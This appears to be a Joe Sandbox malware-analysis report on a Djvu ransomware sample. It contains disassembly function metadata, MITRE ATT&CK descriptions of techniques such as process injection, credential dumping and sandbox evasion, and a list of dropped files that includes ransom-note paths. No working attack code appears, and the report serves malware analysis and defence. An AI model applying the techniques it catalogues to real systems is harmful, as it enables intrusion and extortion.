__CxxThrowException@8.LIBCMT ref: 02271A90
_malloc.LIBCMT ref: 02271AA0
_memset.LIBCMT ref: 02271AAB
_sprintf.LIBCMT ref: 02271ACE

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 0d54639e8d5a3a3b0ad9ef3a3849949c7ec226e4c6a3e3bd802a62d2c65fa692
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 98515A71D4020ABAEB10EBE1DC86FAFBBB9FF04744F100025F909B6190E7749A158BA5

Function 0226F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0226F284
__CxxThrowException@8.LIBCMT ref: 0226F2AF
__CxxThrowException@8.LIBCMT ref: 0226F2DE
__CxxThrowException@8.LIBCMT ref: 0226F30F
_memset.LIBCMT ref: 0226F32E
__CxxThrowException@8.LIBCMT ref: 0226F354
_sprintf.LIBCMT ref: 0226F373

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 42d07e423229eb978673c5e0e373c5b603ad52dbce006e05f1d0b0faf29fbece
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: EE518F72D50249AAEF10DFE1DD46FFEBB79BB04704F100025F906B6184E7B4AA558BA4

Function 0226F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0226F4B7
__CxxThrowException@8.LIBCMT ref: 0226F4E2
__CxxThrowException@8.LIBCMT ref: 0226F504
__CxxThrowException@8.LIBCMT ref: 0226F535
_memset.LIBCMT ref: 0226F554
__CxxThrowException@8.LIBCMT ref: 0226F57A
_sprintf.LIBCMT ref: 0226F594

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: e487309462ab9a13840e79c2013ed6efefc5ac6348b350be23dcd4965582ddca
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 94515E72D50209AADF21DFE5DD46FFEBBB9FB04704F100129F906B6184E774AA058BA4

Function 022A208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022A20C6
__invoke_watson.LIBCMT ref: 022A2120
_strlen.LIBCMT ref: 022A20D4

Part of subcall function 02285BA8: __getptd_noexit.LIBCMT ref: 02285BA8

_strnlen.LIBCMT ref: 022A215F
__lock.LIBCMT ref: 022A2170
__getenv_helper_nolock.LIBCMT ref: 022A217B

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: df0dfffa1e3b097314d3bc9328627678be2ae0ea47acd9775cc0c6586d1a56a6
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 7B310872A31327EBDB217BE49C11B6E27959F15B24F114215ED04EB6DCDB74C440CAA1

Function 023266D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023266DD

Part of subcall function 022859BF: __calloc_crt.LIBCMT ref: 022859E2
Part of subcall function 022859BF: __initptd.LIBCMT ref: 02285A04

__calloc_crt.LIBCMT ref: 02326700
__get_sys_err_msg.LIBCMT ref: 0232671E
__invoke_watson.LIBCMT ref: 0232673B
__get_sys_err_msg.LIBCMT ref: 0232676D
__invoke_watson.LIBCMT ref: 0232678B

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 2ce7f84f037e57c207303a300df292e71db6e90942424c5da215183178f0df2e
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: CC11C4316027356BEB317E69AC02B7A739DDF00B61F000466FE08A6681E721D9144EE4

Function 02272670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022726DB
_memset.LIBCMT ref: 02272A30
_memset.LIBCMT ref: 02272AC0

Strings

D, xrefs: 02272AC8

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 0cf910f4eec441687413599edc01c4d0561470a00b095384dab832ad54a371bd
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 0FE15B71D1021AEADF24DFE0CD89FEEB7B8BF04304F144169E909A6194EB74AA45CF64

Function 0226D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0226D8EA

Strings

(, xrefs: 0226DAE9
, xrefs: 0226DADB
$, xrefs: 0226DAE2

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: febf868a1463349be9857514ec6c53979ae2a9e25037d52e5d5018cd809ae10d
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 8C919C71D1025DEAEF20DFE0C849BEEBBB5AF05304F244169D405B7288DBB65A88CF65

Function 02285CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02285CF4

Strings

U, xrefs: 02285CFD

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: f5081269bc12157104d63f15a2d5ffc86b0a7da72cf4b78f9786e2b81953aa39
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: C0210832635309AAEB00BAE4DC45BBE739DDB45250F914165FD08CA1D8FF71ED508AA4

Function 0227A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0227A858
_memset.LIBCMT ref: 0227A869
_memset.LIBCMT ref: 0227A87A

Strings

p2Q, xrefs: 0227A882

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 446979802fa65d234431458eb7a300b75e3a4eec364ab52fa2fd10bd860c34b1
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 74F0C968699750B5F7217790BC26B857E916B31B09F104088E1182A3F5E2F9638CA79A

Function 022AFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022AFBF1

Part of subcall function 0229169C: std::exception::_Copy_str.LIBCMT ref: 022916B5

__CxxThrowException@8.LIBCMT ref: 022AFC06

Strings

TeM, xrefs: 022AFBFB, 022AFBE7
TeM, xrefs: 022AFBFE

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: ec4c37a6963155c3f2b8faadd3261237d45106b7c6c43c337558784877e75d39
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 45D06775C0030DBBCF04EFA5D459CDDBBB9AA04344B408466A91897245EA74A3598F94

Function 0226D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0228197D: __wfsopen.LIBCMT ref: 02281988

_fgetws.LIBCMT ref: 0226D15C

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: cbb22691cbfb727c85f8383978765c0a5ce38f4d918814b040975b69f02a333a
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 0B91A672E2031A9BCF20EFE4CD487BEB7B5AF04304F140529E81567285E7B5AA54CB95

Function 0226D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0226D77E
_malloc.LIBCMT ref: 0226D7B2
_malloc.LIBCMT ref: 0226D7C1
_fprintf.LIBCMT ref: 0226D815

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 2a5815261e625d476cec837ef2d7f6db30fbe3a654228dd878aa6c65bc3fc4df
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 53A16EB1C10349EBEF11EFE4CC49BEEBB76AF14304F140128D4057A295D7B65A98CBA6

Function 02282AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02282B2E
__read_nolock.LIBCMT ref: 02282BFE
__filbuf.LIBCMT ref: 02282C21
_memset.LIBCMT ref: 02282C65

Part of subcall function 02285BA8: __getptd_noexit.LIBCMT ref: 02285BA8

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: e3febffcb1d66d1f717475e86e5210aaad7ea6aab9fe5cd59b091dc4ec2546f7
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: F451B170A23386DBDB25AFF9898066EB7B6BF40324F148729ED35962D8D770D950CB40

Function 022A1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 022A137D

Part of subcall function 022A1A9D: __fltout2.LIBCMT ref: 022A1AC6

__cftog_l.LIBCMT ref: 022A13A3
__cftoe_l.LIBCMT ref: 022A13D5

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 5ba98b654902c1e2719e621a2f1fdf9ee80297abc6b9d0f1848337b3b9ca19a3
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 8F01363242024ABBCF125EC4DC218EE3F62BB19364F488855FA5958828D376C5B2AB81

Function 02327A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02327A4B

Part of subcall function 02328140: ___BuildCatchObjectHelper.LIBCMT ref: 02328172
Part of subcall function 02328140: ___AdjustPointer.LIBCMT ref: 02328189

_UnwindNestedFrames.LIBCMT ref: 02327A62
___FrameUnwindToState.LIBCMT ref: 02327A74
CallCatchBlock.LIBCMT ref: 02327A98

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 81db86cb6ad1f42887fea48a32dc6d53e8b73c5679c6bb08d19bab6c277e3372
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: CA01E932500119BBCF22AF55CC01EEA7BBAFF48754F158015FD5865221D732E965DFA0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

C:\$WinREAgent\_readme.txt

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lvAVrO.exe_4999cc77bcb73072ab5592d5fe64c2d212affcfb_d833377f_19b583fc-42b7-428d-b663-a7b12b154dad\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD7A6.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA86.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDAA6.tmp.xml

C:\SystemID\PersonalID.txt

Windows Analysis Report
E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
